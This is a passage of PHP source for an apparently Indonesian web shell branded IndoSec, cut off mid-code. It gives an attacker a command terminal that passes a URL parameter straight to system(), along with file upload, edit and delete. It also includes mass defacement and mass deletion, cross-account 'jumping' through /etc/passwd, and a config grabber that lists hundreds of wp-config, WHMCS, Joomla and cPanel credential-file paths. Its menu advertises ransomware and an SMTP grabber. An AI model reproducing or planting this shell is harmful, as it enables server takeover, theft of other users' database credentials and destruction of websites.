class="text-center"> <div class="d-flex justify-content-center flex-wrap"> <a href="?" class="fiture btn btn-danger btn-sm"><i class="fa fa-home"></i> Home</a> <a href="?dir='.$dir.'&aksi=upload" class="fiture btn btn-danger btn-sm"><i class="fa fa-upload"></i> Upload</a> <a href="?dir='.$dir.'&aksi=buat_file" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus-circle"></i> Buat File</a> <a href="?dir='.$dir.'&aksi=buat_folder" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus"></i> Buat Folder</a> <a href="?dir='.$dir.'&aksi=masdef" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Mass Deface</a> <a href="?dir='.$dir.'&aksi=masdel" class="fiture btn btn-danger btn-sm"><i class="fa fa-trash"></i> Mass Delete</a> <a href="?dir='.$dir.'&aksi=jumping" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Jumping</a> <a href="?dir='.$dir.'&aksi=config" class="fiture btn btn-danger btn-sm"><i class="fa fa-cogs"></i> Config</a> <a href="?dir='.$dir.'&aksi=adminer" class="fiture btn btn-danger btn-sm"><i class="fa fa-user"></i> Adminer</a> <a href="?dir='.$dir.'&aksi=symlink" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-circle"></i> Symlink</a> <a href="?dir='.$dir.'&aksi=resetpasscp" class="fiture btn btn-warning btn-sm"><i class="fa fa-key"></i> Auto Reset Cpanel</a> <a href="?dir='.$dir.'&aksi=ransom" class="fiture btn btn-warning btn-sm"><i class="fab fa-keycdn"></i> Ransomware</a> <a href="?dir='.$dir.'&aksi=smtpgrab" class="fiture btn btn-warning btn-sm"><i class="fas fa fa-exclamation-circle"></i> SMTP Grabber</a> <a href="?dir='.$dir.'&aksi=bypascf" class="fiture btn btn-warning btn-sm"><i class="fas fa-cloud"></i> Bypass Cloud Flare</a> <a href="?about" class="fiture btn btn-warning btn-sm"><i class="fa fa-info"></i> About Us</a> <a href="?keluar" class="fiture btn btn-warning btn-sm"><i class="fa fa-sign-out"></i> keluar</a> </div> </div> <div class="row"> <div class="col-lg-4"><br/> <h5><i class="fa fa-terminal"></i>Terminal : </h5> <form> <input type="text" class="form-control" name="cmd" autocomplete="off" placeholder="id | uname -a | whoami | heked"> </form> <hr style="backgroud: white"/> <h5><i class="fa fa-search"></i> Informasi : </h5> <div class="card table-responsive infor"> <div class="card-body" style="color: #333"> <table class="table" style="color: #333"> <tr> <td>PHP</td> <td> : '.$ver.'</td> </tr> <tr> <td>IP Server</td> <td> : '.$ip.'</td> </tr> <tr> <td>HDD</td> <td>Total : '.$total.' <br/> Free : '.$free.' ['.$used.']</td> </tr> <tr> <td>Doamin Web</td> <td>: '.$dom.'</td> </tr> <tr> <td>MySQL</td> <td>: '.$mysql.'</td> </tr> <tr> <td>CURL</td> <td>: '.$curl.'</td> </tr> <tr> <td>Sistem Operasi</td> <td> : '.$os.'</td> </tr> </table> </div> </div> </div> <div class="col-lg-8"><hr/>'; //cmd if(isset($_GET['cmd'])){ echo "<pre class='text-white'>"; echo system($_GET['cmd']); echo "</pre>"; exit; } //keluar if (isset($_GET['keluar'])) { session_start(); session_destroy(); echo '<script>window.location="?";</script>'; } if (isset($_GET['about'])) { echo '<div class="card text-center bg-light about"> <h4 class="card-header">{ IndoSec }</h4> <div class="card-body"> <center><div class="img"></div></center> <p class="card-text">{ IndoSec } Adalah Sebuah Komunitas Yang Berfokus Kepada Teknologi Di Indonesia, Dari Membuat Mengamankan Dan Mengexploitasi Sebuah Sistem.</p> </div> <div class="card-footer"> <p class="card-text"><small class="text-muted">Copyright 2019 { IndoSec }</small></p> </div> </div><br/>'; exit; } //upload if ($_GET['aksi'] == 'upload') { echo '<form method="POST" enctype="multipart/form-data" name="uploader" id="uploader"> <div class="container mt-5"> <div class="card mr-auto ml-auto"> <div class="card-body form-group"> <div class="custom-file"> <input type="file" name="file[]" multiple class="custom-file-input" id="customFile"> <label class="custom-file-label" for="customFile">Choose file</label> </div> <input type="submit" class="btn btn-sm btn-primary btn-block mt-4 p-2" name="upload" value="Upload"> </div> </div> </div> </form>'; if(isset($_POST['upload'])){ $countfiles = count($_FILES['file']['name']); for($i=0;$i<$countfiles;$i++){ $filename = $_FILES['file']['name'][$i]; $uplo = @copy($_FILES['file']['tmp_name'][$i], "$dir/".$filename); } if($uplo){ echo '<script>alert("Berhasil Upload '.$countfiles.' File");</script>'; }else{ echo '<script>alert("Gagal Upload!!!");</script>'; } } } //openfile if (isset($_GET['file'])) { $file = $_GET['file']; } //buat_file if ($_GET['aksi'] == 'buat_file') { $output = " <h4> <img src='http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png' class='ico2'></img> Buat File: </h4> <form method='POST'> <input type='text' class='form-control' name='nama_file' autocomplete='off' placeholder='Nama File...'><br/> <textarea name='isi_file' class='form-control' rows='8' placeholder='Isi File...'></textarea><br/> <button type='sumbit' class='btn btn-info btn-block' name='bikin'>Bikin!!</button><br/> </form>"; echo $output; if (isset($_POST['bikin'])) { $nama_file = $_POST['nama_file']; $isi_file = $_POST['isi_file']; $handle = fopen("$nama_file", "w"); if (fwrite($handle, $isi_file)) { echo '<script>window.location="?dir='.$dir.'"; alert("Buat File Berhasil");</script>'; }else{ echo '<script>alert("File Gagal Dibuat");</script>'; } } } /* View */ if($_GET['aksi'] == 'view') { echo '[ <a class="active" href="?dir='.$dir.'&aksi=view&file='.$file.'">Lihat</a> ] [ <a href="?dir='.$dir.'&aksi=edit&file='.$file.'">Edit</a> ] [ <a href="?dir='.$dir.'&aksi=rename&file='.$file.'">Rename</a> ] [ <a href="?dir='.$dir.'&aksi=hapusf&file='.$file.'">Delete</a> ]'; echo " <textarea rows='9' class='form-control mb-2' disabled=''>".htmlspecialchars(file_get_contents($file))."</textarea>"; } /* Edit */ if($_GET['aksi'] == 'edit') { $nama = basename($file); echo '[ <a href="?dir='.$dir.'&aksi=view&file='.$file.'">Lihat</a> ] [ <a class="active" href="?dir='.$dir.'&aksi=edit&file='.$file.'">Edit</a> ] [ <a href="?dir='.$dir.'&aksi=rename&file='.$file.'">Rename</a> ] [ <a href="?dir='.$dir.'&aksi=hapusf&file='.$file.'">Delete</a> ]'; echo "<form method='POST'> <h5><i class='fa fa-file'></i> Edit File : $nama</h5> <textarea rows='9' class='form-control' name='isi'>".htmlspecialchars(file_get_contents($file))."</textarea><br/> <button type='sumbit' class='btn btn-info btn-block' name='edit_file'>Update</button> </form>"; if(isset($_POST['edit_file'])) { $updt = fopen("$file", "w"); $hasil = fwrite($updt, $_POST['isi']); if ($hasil) { echo '<script>window.location="?dir='.$dir.'"; alert("Berhasil Update!!");</script>'; }else{ echo '<script>alert("Gagal Update!!");</script>'; } } } /* Rename */ if($_GET['aksi'] == 'rename') { $nama = basename($file); echo '[ <a href="?dir='.$dir.'&aksi=view&file='.$file.'">Lihat</a> ] [ <a href="?dir='.$dir.'&aksi=edit&file='.$file.'">Edit</a> ] [ <a class="active" href="?dir='.$dir.'&aksi=rename&file='.$file.'">Rename</a> ] [ <a href="?dir='.$dir.'&aksi=hapusf&file='.$file.'">Delete</a> ]'; echo "<form method='POST'> <h5><i class='fa fa-file'></i> Rename File : $nama</h5> <input type='text' class='form-control' name='namanew' autocomplete='off' placeholder='Masukan Nama Baru...'><br/> <button type='sumbit' class='btn btn-info btn-block' name='rename_file'>Update</button> </form>"; if(isset($_POST['rename_file'])) { $lama = $file; $baru = $_POST['namanew']; rename( $baru, $lama); if(file_exists($baru)) { echo '<script>alert("Nama '.$baru.' Telah Digunakan");</script>'; }else{ if(rename( $lama, $baru)) { echo '<script>window.location="?dir='.$dir.'"; alert("Sukses Mengganti Nama Menjadi '.$baru.'");</script>'; }else{ echo '<script>alert("Gagal Mengganti Nama");</script>'; } } } } /* Delete File */ if ($_GET['aksi'] == 'hapusf') { $nama = basename($file); echo '[ <a href="?dir='.$dir.'&aksi=view&file='.$file.'">Lihat</a> ] [ <a href="?dir='.$dir.'&aksi=edit&file='.$file.'">Edit</a> ] [ <a href="?dir='.$dir.'&aksi=rename&file='.$file.'">Rename</a> ] [ <a class="active" href="?dir='.$dir.'&aksi=hapusf&file='.$file.'">Delete</a> ]'; $output =" <div class='card card-body'> <center><br/> <font color='black'>Yakin Menghapus : $nama</font> </center><br/><br/> <form method='POST'> <a class='btn btn-danger btn-block' href='?dir=$dir'>Tidak</a> <input type='submit' name='ya' class='float-right btn btn-success btn-success btn-block' value='Ya'> </form> </div><br/>"; echo $output; if ($_POST['ya']) { $hapus = unlink($file); if ($hapus) { echo '<script>window.location="?dir='.$dir.'"; alert("Berhasil Menghapus File");</script>'; }else{ echo '<script>alert("Gagal Menghapus File!");</script>'; } } } /* Add Folder */ if ($_GET['aksi'] == 'buat_folder' ) { $output = " <h4><img src='http://aux.iconspalace.com/uploads/folder-icon-256-1787672482.png' class='ico'></img></i> Buat Folder: </h4> <form method='POST'> <input type='text' class='form-control' name='nama_folder' autocomplete='off' placeholder='Nama Folder...'><br/> <button type='sumbit' class='btn btn-info btn-block' name='buat'>Buat!!</button> </form>"; echo $output; if (isset($_POST['buat'])) { $nama_folder = $_POST['nama_folder']; $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $_POST["nama_folder"]); $fd = mkdir ($folder); if ($fd) { echo '<script>window.location="?dir='.$dir.'"; alert("Berhasil Membuat Folder '.$folder.'");</script>'; }else{ echo "echo '<script> alert('Folder ".$folder." Gagal Dibuat');</script>"; } } } /* Delete Folder */ if ($_GET['aksi'] == 'hapus_folder' ) { $nama = basename(getcwd()); $output =" [ <a href='?dir=".$dir."&aksi=rename_folder'>Rename</a> ] [ <a href='?dir=".$dir."&aksi=hapus_folder'>Delete</a> ] <div class='card container'> <center><br/> <font color='black'>Apakah Yakin Menghapus : $nama ? </center><br/><br/> <form method='POST'> <a class='btn btn-danger btn-block' href='?dir=".dirname($dir)."'>Tidak</a> <input type='submit' name='ya' class='float-right btn btn-success btn-block' value=' Ya '> </form><br/><br/> </div><br/>"; echo $output; if ($_POST['ya']) { if(is_dir($dir)) { if(is_writable($dir)) { @rmdir($dir); @exe("rm -rf $dir"); @exe("rmdir /s /q $dir"); echo "<script>window.location='?dir=".dirname($dir)."'; alert('Berhasil Menghapus ".$nama."');</script>"; } else { echo "<script>window.location='?dir=".dirname($dir)."'; alert('Tidak Dapat Menghapus ".$nama."');</script>"; } } } exit; } /* Rename Folder */ if ($_GET['aksi'] == 'rename_folder' ) { $nama = basename(getcwd()); $output=" [ <a href='?dir=".$dir."&aksi=rename_folder'>Rename</a> ] [ <a href='?dir=".$dir."&aksi=hapus_folder'>Delete</a> ] <h4><img src='http://aux.iconspalace.com/uploads/folder-icon-256-1787672482.png' class='ico'></img> Rename Folder : $nama </h4> <form method='POST'> <input type='text' class='form-control' name='namanew' autocomplete='off' placeholder='Masukan Nama Baru...'><br/> <button type='sumbit' class='btn btn-info btn-block' name='ganti'>Ganti!!</button><br/> </form>"; echo $output; if (isset($_POST['ganti'])) { $lama = $dir; $baru = $_POST['namanew']; $ubah = rename($lama, $baru); if($ubah) { echo "<script>window.location='?dir=".dirname($dir)."'; alert('Berhasil Mengganti Nama');</script>"; }else{ echo "<script>alert('Gagal Mengganti Nama');</script>" ; } } exit; } /* * Fungsi_Tambahan * */ /* mass delete */ if($_GET['aksi'] == 'masdel') { function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if($lokasi) { echo "$lokasi > Terhapus\n"; unlink($lokasi); $massdel = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "[ <a href='?dir=$dir'>Kembali</a> ] <textarea class='form-control' rows='7' disabled=''>"; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "</textarea><br/>"; } else { echo "<form method='post'> <h5><i class='fa fa-folder'></i> Lokasi :</h5> <input type='text' name='d_dir' value='$dir' class='form-control'><br> <h5><i class ='fa fa-file'></i> Nama File :</h5> <input type='text' name='d_file' autocomplete='off' placeholder='[Ex] index.php' class='form-control'><br> <input type='submit' name='start' value='Delete!!' class='btn btn-danger form-control'> </form>"; } exit; } /* Mass Deface */ if($_GET['aksi'] == 'masdef') { function tipe_massal($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "Done > $lokasi\n"; file_put_contents($lokasi, $isi_script); $masdef = tipe_massal($dirc,$namafile,$isi_script); } } } } } } function tipe_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "Done > $dirb/$namafile\n"; file_put_contents($lokasi, $isi_script); }else{ echo "<p>gagal</p>"; } } } } } } if($_POST['start']) { echo "[ <a href='?dir=$dir'>Kembali</a> ] <textarea class='form-control' rows='7' disabled=''>"; if($_POST['tipe'] == 'mahal') { tipe_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']); } elseif($_POST['tipe'] == 'murah') { tipe_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); } echo "</textarea><br/>"; } else { echo "<form method='post'> <center> <h5>Tipe :</h5> <input id='toggle-on' class='toggle toggle-left' name='tipe' value='murah' type='radio' checked> <label for='toggle-on' class='butn'>Biasa</label> <input id='toggle-off' class='toggle toggle-right' name='tipe' value='mahal' type='radio'> <label for='toggle-off' class='butn'>Masal</label> </center> <h5><i class='fa fa-folder'></i> Lokasi :</h5> <input type='text' name='d_dir' value='$dir' class='form-control'><br> <h5><i class ='fa fa-file'></i> Nama File :</h5> <input type='text' name='d_file' autocomplete='off' placeholder='[Ex] index.php' class='form-control'><br/> <h5><i class ='fa fa-file'></i> Isi File :</h5> <textarea name='script' class='form-control' rows='5' autocomplete='off' placeholder='[Ex] Hacked By { IndoSec }'></textarea><br/> <input type='submit' name='start' value='Mass Deface' class='btn btn-danger form-control'><br/> </form>"; } exit; } /* Jumping */ if($_GET['aksi'] == 'jumping') { $i = 0; echo "<div class='card container'>"; if(preg_match("/hsphere/", $dir)) { $urls = explode("\r\n", $_POST['url']); if(isset($_POST['jump'])) { echo "<pre>"; foreach($urls as $url) { $url = str_replace(array("http://","www."), "", strtolower($url)); $etc = "/etc/passwd"; $f = fopen($etc,"r"); while($gets = fgets($f)) { $pecah = explode(":", $gets); $user = $pecah[0]; $dir_user = "/hsphere/local/home/$user"; if(is_dir($dir_user) === true) { $url_user = $dir_user."/".$url; if(is_readable($url_user)) { $i++; $jrw = "[<font color=green>R</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>"; if(is_writable($url_user)) { $jrw = "[<font color=green>RW</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>"; } echo $jrw."<br>"; } } } } if($i == 0) { } else { echo "<br>Total ada ".$i." Kamar di ".$ip; } echo "</pre>"; } else { echo '<center> <form method="post"> List Domains: <br> <textarea name="url" class="form-control">'; $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r"); while($getss = fgets($fp)) { echo $getss; } echo '</textarea><br> <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;"> </form></center>'; } } elseif(preg_match("/vhosts/", $dir)) { $urls = explode("\r\n", $_POST['url']); if(isset($_POST['jump'])) { echo "<pre>"; foreach($urls as $url) { $web_vh = "/var/www/vhosts/$url/httpdocs"; if(is_dir($web_vh) === true) { if(is_readable($web_vh)) { $i++; $jrw = "[<font color=green>R</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>"; if(is_writable($web_vh)) { $jrw = "[<font color=green>RW</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>"; } echo $jrw."<br>"; } } } if($i == 0) { } else { echo "<br>Total ada ".$i." Kamar di ".$ip; } echo "</pre>"; } else { echo '<center> <form method="post"> List Domains: <br> <textarea name="url" class="form-control">'; bing("ip:$ip"); echo '</textarea><br> <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;"> </form></center>'; } } else { echo "<pre>"; $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font><br/>"); while($passwd = fgets($etc)) { if($passwd == '' || !$etc) { echo "<font color=red>Can't read /etc/passwd</font><br/>"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_jumping); foreach($user_jumping[1] as $user_pro_jump) { $user_jumping_dir = "/home/$user_pro_jump/public_html"; if(is_readable($user_jumping_dir)) { $i++; $jrw = "[<font color=green>R</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>"; if(is_writable($user_jumping_dir)) { $jrw = "[<font color=green>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>"; } echo $jrw; if(function_exists('posix_getpwuid')) { $domain_jump = file_get_contents("/etc/named.conf"); if($domain_jump == '') { echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj")); $user_jumping_url = $user_jumping_url['name']; if($user_jumping_url == $user_pro_jump) { echo " => ( <u>$dj</u> )<br>"; break; } } } } else { echo "<br>"; } } } } } if($i == 0) { } else { echo "<br>Total ada ".$i." Kamar di ".$ip; } echo "</pre>"; } echo "</div><br/>"; exit; } /* Config */ if($_GET['aksi'] == 'config') { $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>"); $con = mkdir("indosec_config", 0777); $isi_htc = "Options all\nRequire None\nSatisfy Any"; $htc = fopen("indosec_config/.htaccess","w"); fwrite($htc, $isi_htc); while($passwd = fgets($etc)) { if($passwd == "" || !$etc) { echo "<font color=red>Can't read /etc/passwd</font>"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_config); foreach($user_config[1] as $user_con) { $user_config_dir = "/home/$user_con/public_html/"; if(is_readable($user_config_dir)) { $grab_config = [ "/home/$user_con/.my.cnf" => "cpanel", "/home/$user_con/public_html/config/koneksi.php" => "Lokomedia", "/home/$user_con/public_html/forum/config.php" => "phpBB", "/home/$user_con/public_html/sites/default/settings.php" => "Drupal", "/home/$user_con/public_html/config/settings.inc.php" => "PrestaShop", "/home/$user_con/public_html/app/etc/local.xml" => "Magento", "/home/$user_con/public_html/admin/config.php" => "OpenCart", "/home/$user_con/public_html/application/config/database.php" => "Ellislab", "/home/$user_con/public_html/vb/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/forum/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/forums/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/cc/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/inc/config.php" => "MyBB", "/home/$user_con/public_html/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/shop/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/os/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/products/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/cart/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/inc/conf_global.php" => "IPB", "/home/$user_con/public_html/wp-config.php" => "Wordpress", "/home/$user_con/public_html/wp/test/wp-config.php" => "Wordpress", "/home/$user_con/public_html/blog/wp-config.php" => "Wordpress", "/home/$user_con/public_html/beta/wp-config.php" => "Wordpress", "/home/$user_con/public_html/portal/wp-config.php" => "Wordpress", "/home/$user_con/public_html/site/wp-config.php" => "Wordpress", "/home/$user_con/public_html/wp/wp-config.php" => "Wordpress", "/home/$user_con/public_html/WP/wp-config.php" => "Wordpress", "/home/$user_con/public_html/news/wp-config.php" => "Wordpress", "/home/$user_con/public_html/wordpress/wp-config.php" => "Wordpress", "/home/$user_con/public_html/test/wp-config.php" => "Wordpress", "/home/$user_con/public_html/demo/wp-config.php" => "Wordpress", "/home/$user_con/public_html/home/wp-config.php" => "Wordpress", "/home/$user_con/public_html/v1/wp-config.php" => "Wordpress", "/home/$user_con/public_html/v2/wp-config.php" => "Wordpress", "/home/$user_con/public_html/press/wp-config.php" => "Wordpress", "/home/$user_con/public_html/new/wp-config.php" => "Wordpress", "/home/$user_con/public_html/blogs/wp-config.php" => "Wordpress", "/home/$user_con/public_html/configuration.php" => "Joomla", "/home/$user_con/public_html/blog/configuration.php" => "Joomla", "/home/$user_con/public_html/submitticket.php" => "^WHMCS", "/home/$user_con/public_html/cms/configuration.php" => "Joomla", "/home/$user_con/public_html/beta/configuration.php" => "Joomla", "/home/$user_con/public_html/portal/configuration.php" => "Joomla", "/home/$user_con/public_html/site/configuration.php" => "Joomla", "/home/$user_con/public_html/main/configuration.php" => "Joomla", "/home/$user_con/public_html/home/configuration.php" => "Joomla", "/home/$user_con/public_html/demo/configuration.php" => "Joomla", "/home/$user_con/public_html/test/configuration.php" => "Joomla", "/home/$user_con/public_html/v1/configuration.php" => "Joomla", "/home/$user_con/public_html/v2/configuration.php" => "Joomla", "/home/$user_con/public_html/joomla/configuration.php" => "Joomla", "/home/$user_con/public_html/new/configuration.php" => "Joomla", "/home/$user_con/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$user_con/public_html/WHMC/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Whmc/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whmc/submitticket.php" => "WHMCS", "/home/$user_con/public_html/WHM/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Whm/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whm/submitticket.php" => "WHMCS", "/home/$user_con/public_html/HOST/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Host/submitticket.php" => "WHMCS", "/home/$user_con/public_html/host/submitticket.php" => "WHMCS", "/home/$user_con/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Supportes/submitticket.php" => "WHMCS", "/home/$user_con/public_html/supportes/submitticket.php" => "WHMCS", "/home/$user_con/public_html/domains/submitticket.php" => "WHMCS", "/home/$user_con/public_html/domain/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Hosting/submitticket.php" => "WHMCS", "/home/$user_con/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/$user_con/public_html/hosting/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CART/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Cart/submitticket.php" => "WHMCS", "/home/$user_con/public_html/cart/submitticket.php" => "WHMCS", "/home/$user_con/public_html/ORDER/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Order/submitticket.php" => "WHMCS", "/home/$user_con/public_html/order/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Client/submitticket.php" => "WHMCS", "/home/$user_con/public_html/client/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/$user_con/public_html/clientarea/submitticket.php" => "WHMCS", "/home/$user_con/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Support/submitticket.php" => "WHMCS", "/home/$user_con/public_html/support/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BILLING/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Billing/submitticket.php" => "WHMCS", "/home/$user_con/public_html/billing/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BUY/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Buy/submitticket.php" => "WHMCS", "/home/$user_con/public_html/buy/submitticket.php" => "WHMCS", "/home/$user_con/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Manage/submitticket.php" => "WHMCS", "/home/$user_con/public_html/manage/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/$user_con/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Checkout/submitticket.php" => "WHMCS", "/home/$user_con/public_html/checkout/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Billings/submitticket.php" => "WHMCS", "/home/$user_con/public_html/billings/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BASKET/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Basket/submitticket.php" => "WHMCS", "/home/$user_con/public_html/basket/submitticket.php" => "WHMCS", "/home/$user_con/public_html/SECURE/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Secure/submitticket.php" => "WHMCS", "/home/$user_con/public_html/secure/submitticket.php" => "WHMCS", "/home/$user_con/public_html/SALES/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Sales/submitticket.php" => "WHMCS", "/home/$user_con/public_html/sales/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BILL/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Bill/submitticket.php" => "WHMCS", "/home/$user_con/public_html/bill/submitticket.php" => "WHMCS", "/home/$user_con/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Purchase/submitticket.php" => "WHMCS", "/home/$user_con/public_html/purchase/submitticket.php" => "WHMCS", "/home/$user_con/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Account/submitticket.php" => "WHMCS", "/home/$user_con/public_html/account/submitticket.php" => "WHMCS", "/home/$user_con/public_html/USER/submitticket.php" => "WHMCS", "/home/$user_con/public_html/User/submitticket.php" => "WHMCS", "/home/$user_con/public_html/user/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Clients/submitticket.php" => "WHMCS", "/home/$user_con/public_html/clients/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Billings/submitticket.php" => "WHMCS", "/home/$user_con/public_html/billings/submitticket.php" => "WHMCS", "/home/$user_con/public_html/MY/submitticket.php" => "WHMCS", "/home/$user_con/public_html/My/submitticket.php" => "WHMCS", "/home/$user_con/public_html/my/submitticket.php" => "WHMCS", "/home/$user_con/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/$user_con/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/$user_con/public_html/panel/submitticket.php" => "WHMCS", "/home/$user_con/public_html/clientes/submitticket.php" => "WHMCS", "/home/$user_con/public_html/cliente/submitticket.php" => "WHMCS", "/home/$user_con/public_html/support/order/submitticket.php" => "WHMCS", "/home/$user_con/public_html/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/box/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/host/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/Host/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/supportes/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/support/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/hosting/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/cart/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/order/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/client/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/clients/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/cliente/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/clientes/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/billing/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/billings/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/my/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/secure/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/support/order/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/products/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/host/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/Host/includes/iso4217.php" => "Hostbills", 